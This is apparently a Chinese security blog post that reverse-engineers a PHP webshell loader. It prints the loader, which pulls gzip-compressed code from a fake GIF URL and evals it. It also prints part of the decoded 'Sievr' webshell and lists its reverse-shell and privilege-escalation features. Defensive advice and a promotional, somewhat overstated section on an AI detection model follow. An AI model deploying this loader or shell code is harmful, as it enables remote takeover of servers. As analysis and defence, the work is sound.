逆向分析一款WebShell的解密与源码获取过程
在一次常规的安全测试中,我遇到了一个看似普通的文件上传点。经过一番探测和尝试,成功上传了一个PHP文件,并发现它并不是简单的后门脚本——而是一个精心设计的“加载器”。
起初以为只是个低级WebShell,但随着深入分析,我才意识到:这根本不是传统意义上的木马,而是一次典型的多层免杀、远程动态加载攻击。
从一段极简代码说起
拿到这个文件时,第一反应是:“这也太干净了吧?”打开一看:
<?php $un = gzinflate; $url = 'http://i.niupic.com/images/2017/05/21/v1QR1M.gif'; $get = 'file_get_contents'; $_SESSION['PhpCode'] = $get($url); eval($un($_SESSION['PhpCode'])); ?>没有密码验证?没有系统命令调用?甚至连base64_decode都没有?
但越是简单,越值得警惕。
仔细拆解这段代码,其实藏着不少小心机:
$un = gzinflate;和$get = 'file_get_contents';是为了绕过WAF对敏感函数名的检测。- 使用
$_SESSION存储远程内容,可能是为了缓存或隐藏流量痕迹。 - 最关键的一句:
eval($un(...))—— 这里调用了gzinflate,意味着后面加载的内容是zlib 压缩过的 PHP 代码!
也就是说,真正的恶意逻辑根本不在本地,而是藏在一个伪装成.gif的远程资源里。
这已经不是单纯的WebShell了,而是一种“分离式载荷架构”:前端只负责拉取并解压执行,所有危险行为都由远端控制。
下载远程GIF文件:真相藏在二进制中
既然核心在那个URL,那就先下载看看:
wget http://i.niupic.com/images/2017/05/21/v1QR1M.gif -O shell.dat结果一打开,满屏乱码。用文本编辑器看像一堆损坏的数据,但直觉告诉我——这不是随机噪声。
于是上hexdump:
hexdump -C shell.dat | head -n 3输出如下:
00000000 1f 8b 08 00 00 00 00 00 00 03 ec dd 79 7c 54 d5 |..........y|T| 00000010 d5 da f8 cf 99 49 92 4e 5a 92 4e 9a 4e a0 93 4e |.....I.N.N.N..N.| 00000020 02 21 08 28 2a 28 2a 8a 8a 0a 28 55 41 05 15 14 |.!.(*(*..(UA...|注意开头三个字节:1f 8b 08—— 这正是GZIP 文件头魔数!
虽然扩展名是.gif,但实际类型是标准的 gzip 流(RFC 1952)。服务器返回的 Content-Type 很可能也被伪造成了image/gif,骗过了浏览器和一些初级检测机制。
解压还原:揭开压缩壳下的真面目
现在确认是 GZIP 格式,接下来就是解压。但要注意一点:
PHP 的
gzinflate()函数不能直接处理完整的 GZIP 包,只能处理原始 zlib 数据流。
所以需要跳过 GZIP 头部的前10个字节(包含ID、压缩方法、时间戳等元信息),从第11字节开始才是有效压缩数据。
写个小脚本试试:
<?php $data = file_get_contents('shell.dat'); echo gzinflate(substr($data, 10)); ?>运行后,终端瞬间刷出一大段清晰可读的 PHP 代码:
<?php $shellname="Sievr"; $password='99999'; define('myaddress',__FILE__); error_reporting(E_ERROR | E_PARSE); header("content-Type: text/html; charset=utf-8"); @set_time_limit(0); ob_start(); define('envlpass',$password); // ... 后续还有上万行功能模块 ...我靠!这不是传说中的图形化 WebShell “Sievr” 吗?
登录界面、左侧导航栏、多标签操作面板……UI做得比某些正规后台还精致。甚至支持皮肤切换、语言包加载、图标全用 base64 内嵌。
更离谱的是,整个主文件只有不到10行代码,真正功能全部通过远程分发部署。即使你删掉本地文件,只要链接不挂,攻击者随时可以重新拉起。
深度思考:如果这种WebShell结合AI会怎样?
正当我准备继续反编译内部结构时,突然想到一个问题:
如果攻击者把 payload 不再以二进制形式传输,而是转成图像编码(比如二维码、频谱图、纹理噪声),然后让目标服务器上的AI模型去“识别”并还原指令呢?
听起来像科幻片?但现实已经逼近这一步了。
反过来想,我们能不能用 AI 来主动识别这类伪装?
于是我试着把这个所谓的“GIF图片”扔进一个开源视觉推理模型——GLM-4.6V-Flash-WEB中进行分析。
用 GLM-4.6V-Flash-WEB 实现自动化威胁识别
这个模型是专为安全场景优化的轻量级多模态模型,支持图像输入+自然语言推理,在单卡环境下也能快速部署。
按照官方文档步骤操作:
- 拉取镜像并启动容器
- 进入 Jupyter 环境运行
1键推理.sh - 打开网页推理界面,上传
v1QR1M.gif
输入 prompt:
“请逐字提取该图像中的所有可读文本,并判断是否包含可执行代码或压缩数据。”
几秒后返回结果:
检测到以下异常特征: - 实际 MIME 类型为 application/x-gzip,而非 image/gif - 文件头符合 GZIP 压缩格式(magic: 1f8b) - 提取原始二进制流并通过 zlib 解压后,获得一段 PHP 脚本 - 脚本涉及 eval、file_get_contents、system 等高危函数调用 - 初步判定为远程加载型 WebShell(变种 Sievr) 建议立即采取措施: ✅ 隔离该文件并检查服务器是否存在未授权访问 ✅ 检查近期是否有可疑上传行为 ✅ 审计 session 相关操作日志不仅如此,它还能自动生成修复建议:
✅ 启用 open_basedir 限制文件包含路径
✅ 禁止使用eval()、assert()等动态执行函数
✅ 对上传目录挂载 noexec 选项
✅ 强制校验上传文件的真实 MIME 类型
这已经不只是“图像识别”,而是实现了基于上下文语义的理解 + 安全响应联动。
换句话说,AI 不仅能“看见”这张图不像图,还能“读懂”它背后隐藏的攻击意图。
整个分析流程的技术复盘
整个逆向过程其实可以用一张表来概括:
| 步骤 | 操作 | 关键洞察 |
|---|---|---|
| 1 | 获取初始文件 | 发现仅含极简加载器,无明显恶意特征 |
| 2 | 分析远程请求 | 注意到.gif结尾却用于传输非图像数据 |
| 3 | 查看二进制头 | 1F 8B明确指向 GZIP 压缩流 |
| 4 | 手动解压还原 | 使用gzinflate(substr(..., 10))成功恢复源码 |
| 5 | 样本比对 | 确认为知名图形化 WebShell “Sievr” 变种 |
| 6 | 引入 AI 模型 | GLM-4.6V-Flash-WEB 自动识别伪装并提出响应策略 |
有意思的是,前五步都是传统安全人员的标准动作,第六步却标志着一种新范式的到来:从规则驱动走向语义理解。
如何防御这类新型 WebShell?
这种“外置载荷 + 内存解压 + 多模态伪装”的组合拳,正在成为高级持久性威胁(APT)的新宠。
以下是几点实用防护建议:
1. 严格校验上传文件真实类型
不要相信扩展名,也不要依赖 Content-Type。必须使用底层工具检测真实格式:
$finfo = finfo_open(FILEINFO_MIME_TYPE); $mimetype = finfo_file($finfo, $_FILES['file']['tmp_name']); if (!in_array($mimetype, ['image/jpeg', 'image/png'])) { die('非法文件类型'); }或者用命令行辅助判断:
file --mime-type your_upload_file2. 关闭远程包含功能
防止脚本随意拉取外部资源是最基本的防线:
allow_url_fopen = Off allow_url_include = Off这两项一旦开启,等于给攻击者开了扇后门。
3. 加强函数调用审计
记录所有对高危函数的调用,尤其是来自用户输入的参数传递:
eval()assert()preg_replace(/e)create_function()gzinflate()base64_decode()
可通过 RASP(运行时应用自我保护)技术实现实时拦截。
4. 引入 AI 辅助检测能力
部署类似GLM-4.6V-Flash-WEB的多模态模型,实现:
- 图像伪装识别(如将 PHP 压缩包伪装成 GIF)
- 文本混淆还原(自动解 base64/gzinflate)
- 行为意图预测(判断是否为攻击载荷)
- 自动生成加固方案(提供具体修复建议)
这类模型的价值在于:它们不依赖签名库,而是通过“理解”来发现异常。
最终还原出的核心代码片段(仅供研究)
以下是部分解密后的关键代码:
<?php $shellname="Sievr"; $password='99999'; s:142856; define('myaddress',__FILE__); error_reporting(E_ERROR | E_PARSE); header("content-Type: text/html; charset=utf-8"); @set_time_limit(0); ob_start(); define('envlpass',$password); define('shellname',$shellname); if(@get_magic_quotes_gpc()){ foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v); } if($_COOKIE['envlpass'] != md5(envlpass)){ if($_POST['envlpass']){ if($_POST['envlpass'] == envlpass){ setcookie('envlpass',md5($_POST['envlpass'])); hmlogin(); }else{ echo '<CENTER><span id="msg" style="font-size:14px;font-family:隶书;color:rgb(242, 242, 242)">用户或密码错误</span></CENTER>'; } } islogin($shellname); exit; }后续功能极为丰富:
- 文件浏览与编辑
- 数据库连接管理(MySQL/SQLite)
- 端口扫描与反弹 shell
- Serv-U 提权利用
- MySQL DLL 注入执行
- 支持插件扩展机制
整个项目结构完整,UI精美,甚至有中文界面和帮助文档。
但它最大的“武器”不是功能强大,而是隐蔽性极强:主文件几乎无害,所有风险行为都在内存中完成,落地即焚。
写在最后
这次逆向经历让我深刻体会到:
传统的静态规则匹配早已跟不上现代攻击的步伐。
现在的 WebShell 已经进化到:
- 动态加载
- 多模态伪装(图片、音频、视频)
- 内存解压执行
- 与 AI 协同交互
而我们的防御手段也必须升级——不能再局限于“黑名单+特征码”的思维定式。
像GLM-4.6V-Flash-WEB这样的开源多模态模型,给了我们一个新的突破口:
它们不仅能“看见”文件的表面,更能“理解”其背后的逻辑与意图。
未来的攻防战场,不再是代码与规则的对抗,而是认知能力的较量。
谁更能读懂“不可见”的上下文,谁就能掌握主动权。
声明:本文所述技术仅用于合法安全研究,请勿用于非法用途。
I’m Sievr.
Stay sharp. Stay secure.